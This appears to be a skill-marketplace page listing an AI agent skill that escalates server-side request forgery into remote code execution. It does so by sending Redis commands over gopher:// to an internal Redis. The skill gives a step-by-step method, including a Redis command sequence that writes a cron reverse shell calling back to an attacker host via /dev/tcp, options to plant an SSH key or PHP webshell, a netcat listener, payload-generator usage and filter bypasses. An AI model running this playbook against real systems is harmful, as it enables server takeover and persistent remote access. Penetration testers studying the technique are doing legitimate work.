web-ssrf-gopher-redis-rce
Turn a server-side request (SSRF) into RCE by speaking the Redis protocol over gopher:// to an internal, unauthenticated Redis — write a cron job, an SSH key, or a webshell. Load when: SSRF is confirmed (URL fetch, webhook, PDF/URL preview, image proxy) AND an internal Redis/6379 (or similar line-pr
v2026.10.14-ee0e0c53 instalaciones+3 en 7 días27 EstrellasMITsincronizado hace 22 horas
Instalar
¿Aún no tienes la CLI de NotHoly? Instálala primero.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install noorqureshi/web-ssrf-gopher-redis-rceEscribe en ~/.notholy/skills después de comprobar la firma y el SHA-256.
FirmaFirmado, ed25519
Paquetedc677dac…8e52fc7a
dc677dac356e…f72c8e52fc7a1 archivo · 2.1 KBEscaneoBajosin hallazgos
Fuentegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-ssrf-gopher-redis-rce@ee0e0c5
Esta entrada todavía no está escrita en tu idioma, así que aparece en English.
En esta página
When it applies
- You have a confirmed SSRF: the app fetches a URL you control (webhook, "import from
URL", link preview, avatar-by-URL, headless PDF, XXE-to-SSRF), and it will follow
gopher://(curl-backed fetchers commonly do). - An internal Redis is reachable from the app host (
127.0.0.1:6379or a Docker service) and is unauthenticated (default) or you know the password.
Why it works
Redis speaks a simple newline/inline text protocol. gopher:// lets you send arbitrary
raw bytes to a TCP port, so you can pipeline real Redis commands through the SSRF.
Redis can write files (CONFIG SET dir + dbfilename + SAVE), so you overwrite a file
that gets executed: a cron job, ~/.ssh/authorized_keys, or a web-root PHP file.
Method
- Confirm SSRF reaches Redis: point the SSRF at
gopher://127.0.0.1:6379/_PINGand look for+PONGbehaviour / no error (or a timing/response difference). - Pick a write primitive based on what the Redis user can write:
- Cron (Redis running as root, Debian/Ubuntu): write to
/var/spool/cron/crontabs/rootor/etc/cron.d/xa reverse-shell line. - SSH key: write your pubkey to a user's
~/.ssh/authorized_keys(dir=/root/.ssh,dbfilename=authorized_keys). - Webshell: if you know the web root,
dir=/var/www/html,dbfilename=shell.php.
- Cron (Redis running as root, Debian/Ubuntu): write to
- Build the Redis command sequence (example — cron reverse shell):
text flushall set x "\n\n*/1 * * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\n\n" config set dir /etc/cron.d config set dbfilename runme save - Encode to a gopher URL: each command as a CRLF-terminated line, URL-encode
(
%0D%0Abetween commands), prefixgopher://127.0.0.1:6379/_. Use Gopherus (gopherus --exploit redis) to generate the payload correctly — hand-encoding is error-prone. - Deliver the gopher URL through the SSRF sink; start your listener; wait for cron (≤60s) or use the SSH key / webshell immediately.
Tools
- Gopherus — auto-builds gopher payloads for redis/mysql/postgres/fastcgi/smtp. Fastest, correct encoding.
redis-cli(to understand the commands first),nc -lvnp <port>listener,ssh-keygenfor the key path.
Gotchas
- Newlines matter: pad the cron value with leading/trailing
\nso Redis's RDB dump garbage doesn't break the crontab line. Cron also requires a trailing newline and (in/etc/cron.d/ crontabs/root) therootuser field. - Redis ≥ some builds run as
redisuser, not root → cron-as-root fails; fall back to an SSH key for theredisuser or a webshell in a writable web root. - Protected mode / auth: newer Redis binds localhost & may need
AUTH <pass>; if reachable only via SSRF from localhost it's usually exploitable. - If
gopher://is filtered, trydict://for single commands, or FastCGI via gopher for PHP-FPM RCE.
Verify success
gopher://…/_PING behaviour differs from a closed port; after SAVE, your listener
catches a shell (cron) or the SSH key logs in. CONFIG GET dir echoing your path confirms
the write target was accepted.
Learned on
Reference technique (common SSRF-chain pattern). Capture the target-specific SSRF sink and the exact writable path in your engagement notes when you use it.
Archivos de esta versión
- SKILL.md3.9 KB
Permisos
| Permiso | Declarado | Hallado en el escaneo |
|---|---|---|
| Lee archivos | No | No |
| Escribe archivos | No | No |
| Ejecuta comandos de shell | No | No |
| Usa la red | Sí | Sí |
| Usa conectores | No | No |
| Controla un navegador | No | No |
Hallazgos del escaneo
Revisado el 13 nov 2026
El escaneo no encontró nada que señalar en esta versión.
Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.
| Versión | Publicada | Commit | SHA-256 | Firma | Cambio de permisos |
|---|---|---|---|---|---|
| v2026.10.14-ee0e0c5 | 13 nov 2026 | ee0e0c5 | dc677dac | Firmada | – |
Más de NoorQureshi
Todo de este publicadorMás en Web y bug bounty
Ver la categoría- src-hunterzhaoxuya520/src-hunter5
- owasp-top10-analysissecurityskills/owasp-top10-analysis5
- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- offensive-xsssnailsploit/offensive-xss5
- offensive-rcesnailsploit/offensive-rce5
- source-review-techniqueaeondave/source-review-technique5
Pregunta todo lo que tu alcance permite.
Crea la cuenta, añade créditos y haz la primera pregunta en el chat o en la terminal.
- 1/3
Crea la cuenta
Individual o empresa. Puedes pasar a empresa después sin perder saldo ni claves.
IndividualEmpresa - 2/3
Añade créditos
Con tarjeta. Pagas por token, sin suscripción.
$5.00recarga mínima - 3/3
Pregunta
En el chat, o instala el CLI y ejecuta notholy login en tu terminal.
$ notholy login